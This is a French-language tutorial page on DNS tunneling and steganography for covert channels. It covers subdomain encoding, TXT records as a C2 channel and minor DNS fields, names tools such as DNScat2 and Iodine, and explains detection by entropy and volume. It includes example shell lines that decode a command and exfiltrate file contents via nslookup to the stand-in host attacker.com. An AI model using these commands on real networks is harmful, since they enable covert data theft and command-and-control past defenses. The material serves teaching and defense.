Encodage dans les sous-domaines
Une requête DNS est de la forme SOUS-DOMAINE.domaine.tld. La partie sous-domaine peut contenir jusqu'à 63 caractères alphanumériques par label, et une requête peut avoir plusieurs labels. Un attaquant qui contrôle le serveur DNS d'un domaine reçoit toutes les requêtes — y compris leurs sous-domaines encodés.
Encodage d'un message dans des sous-domaines DNS : Message : "secret" = 73 65 63 72 65 74 (hex) Requêtes DNS générées vers le domaine contrôlé attacker.com : 73656372.attacker.com ← "secr" en hex 6574.attacker.com ← "et" en hex Ou en base32 (DNS-safe, sans = ni chiffres) : "secret" → base32 → "ONSXE3I=" → ONSXE3I.attacker.com (retiré le =) Le serveur DNS de attacker.com reçoit toutes ces requêtes → Reconstitue : ONSXE3I → decode base32 → "secret" Réponse (optionnel) : le serveur peut renvoyer des données dans la réponse DNS (adresse IP encodée, CNAME, etc.) → Canal bidirectionnel !
TXT Records comme canal
Les enregistrements DNS TXT peuvent contenir jusqu'à 255 caractères par string, et plusieurs strings par record. C'est un canal de réponse DNS légitime (utilisé par SPF, DKIM, DMARC), donc rarement filtré. Un C2 peut transmettre des commandes via des TXT records.
DNS TXT Record comme canal de commande C2 :
Requête normale (victime → attacker.com NS) :
dig TXT cmd.attacker.com
Réponse du serveur attacker.com :
cmd.attacker.com. 60 IN TXT "ZXhlYyAvYmluL2Jhc2ggLWMgJ..."
↑ commande encodée en base64
Décodage (victime) :
base64.decode("ZXhlYyAvYmluL2Jhc2ggLWMgJ...")
→ "exec /bin/bash -c 'id > /tmp/result.txt'"
Canal de retour (exfiltration) :
result=$(cat /tmp/result.txt)
encoded=$(echo $result | base32 | tr -d '=')
# Envoyer en requête : $encoded.exfil.attacker.com
nslookup "$encoded.exfil.attacker.com" > /dev/nullTTL et champs DNS mineurs
TTL des réponses
FURTIFTTL pair = bit 0, TTL impair = bit 1. 1 bit par réponse DNS. Capacité très faible mais imperceptible. TTL variant entre 60 et 61 passe inaperçu.
Adresse IP encodée
BIDIRECTIONNELLe serveur DNS renvoie une adresse IPv4 dont les octets encodent un message. 4 octets = 4 bytes par réponse. Non routables (ex: 10.x.x.x) mais lisibles.
Champ QID (Query ID)
BASIQUEChaque requête DNS a un identifiant de 16 bits. Le client peut encoder des bits dans cet ID. Peu utilisé — l'OS gère souvent l'ID aléatoirement.
Type de requête (QTYPE)
CRÉATIFAlterner entre requêtes A, AAAA, MX, TXT pour encoder des bits dans le type de requête lui-même. Très furtif, capacité 2 bits par requête.
Outils réels : DNScat, Iodine
DNScat2
C2 / CTFgithub.com/iagox86/dnscat2Tunnel DNS bidirectionnel complet. Encode le payload dans les sous-domaines des requêtes A/CNAME/TXT/MX. Supporte le chiffrement. Utilisé en CTF et par certains APT.
Iodine
BYPASSgithub.com/yarrick/iodineTunnel IP-over-DNS. Crée une interface réseau virtuelle et route tout le trafic IP dans des requêtes DNS. Permet de contourner les portails captifs.
Cobalt Strike DNS Beacon
RED TEAMN/A (commercial)Mode DNS de Cobalt Strike : le beacon communique avec le C2 uniquement via des requêtes DNS. Standard de facto des opérations red team.
Détection par entropie
Les sous-domaines DNS légitimes sont généralement lisibles et peu entropiques(ex: www, mail, api, cdn, static). Les sous-domaines encodés (base32, hex, base64) ont une entropie très élevée — signature caractéristique.
Analyse d'entropie des sous-domaines (Python) :
import math, re
def entropy(s):
from collections import Counter
freq = Counter(s)
n = len(s)
return -sum((c/n) * math.log2(c/n) for c in freq.values())
# Sous-domaines légitimes :
entropy("www") # ≈ 1.58 (faible)
entropy("api-v2") # ≈ 2.23 (faible)
entropy("static-cdn") # ≈ 2.84 (faible)
# Sous-domaines encodés (DNS tunnel) :
entropy("73656372657473") # ≈ 3.58 (élevé → hex)
entropy("ONSXE3IOEBSGK3I") # ≈ 3.91 (élevé → base32)
entropy("aGVsbG93b3JsZA") # ≈ 3.77 (élevé → base64)
# Règle : sous-domaine > 20 chars ET entropie > 3.5 → suspicious !⚠ Usage légal uniquement. DNS tunneling est utilisé par de vrais APT (APT28, Lazarus Group) pour l'exfiltration de données. L'étude de ces techniques est essentielle pour les équipes SOC et les analystes threat intelligence.
Volume de requêtes
Taux de requêtes DNS anormalement élevé vers un domaine → possible tunnel DNS. Corréler avec les sources.
Longueur des sous-domaines
Sous-domaines > 20 caractères sont rares en production. Un seuil sur la longueur filtre ~80% des tunnels DNS.
Entropie élevée
Shannon entropy > 3.5 sur les sous-domaines détecte les encodages base32/hex/base64. Peu de faux positifs.
Analyse du domaine racine
Nouveaux domaines enregistrés récemment + fort trafic + sous-domaines entropiques = C2 DNS probable.
Questions fréquentes
Pourquoi le DNS est-il un si bon vecteur de communication cachée ?
Le DNS est impossible à bloquer sans casser internet (sans résolution de noms, aucun site ne fonctionne). Il passe partout, même derrière les firewalls les plus stricts. Les requêtes DNS ressemblent à du trafic totalement légitime. C'est pour ça que les attaquants l'adorent pour leurs C2 (command and control).
C'est vraiment utilisé dans de vraies attaques ?
Oui, activement. DNScat2 est open source et utilisé dans des pentests et par des attaquants. Cobalt Strike inclut un DNS Beacon. Des groupes APT comme APT32 et Lazarus Group ont utilisé le DNS steganography pour leurs infrastructures C2. Documenté dans des rapports de Mandiant, CrowdStrike et Kaspersky.
Comment les entreprises se défendent-elles ?
Analyse de l'entropie des sous-domaines (entropie Shannon supérieure à 3.5 bits/char est suspect), surveillance des volumes de requêtes DNS, blocage des résolveurs DNS externes (forcer le trafic DNS à passer par un résolveur d'entreprise inspecté). Les solutions DNS Security (Cisco Umbrella, Cloudflare Gateway) incluent ces protections.
Un débutant peut-il l'expérimenter légalement ?
En lab isolé ou dans les CTF, oui. Des challenges CTF incluent parfois du DNS steganography — analysez les captures réseau pcap avec Wireshark, filtrez le trafic DNS (filtre: dns), et décodez les sous-domaines en base32 ou hex. En dehors du lab, n'utilisez jamais ces techniques sur des réseaux que vous n'administrez pas.
Comment identifier du DNS steganography dans un pcap CTF ?
Dans Wireshark : filtrez 'dns', regardez les noms de requêtes inhabituellement longs ou contenant des caractères hexadécimaux (ex: '48656c6c6f.attacker.com'). Exportez avec tshark : 'tshark -r capture.pcap -T fields -e dns.qry.name' puis décodez la séquence hexadécimale ou base32.
Canaux réseau connexes
Explorez les covert channels IP/TCP et les timing channels pour une vue complète.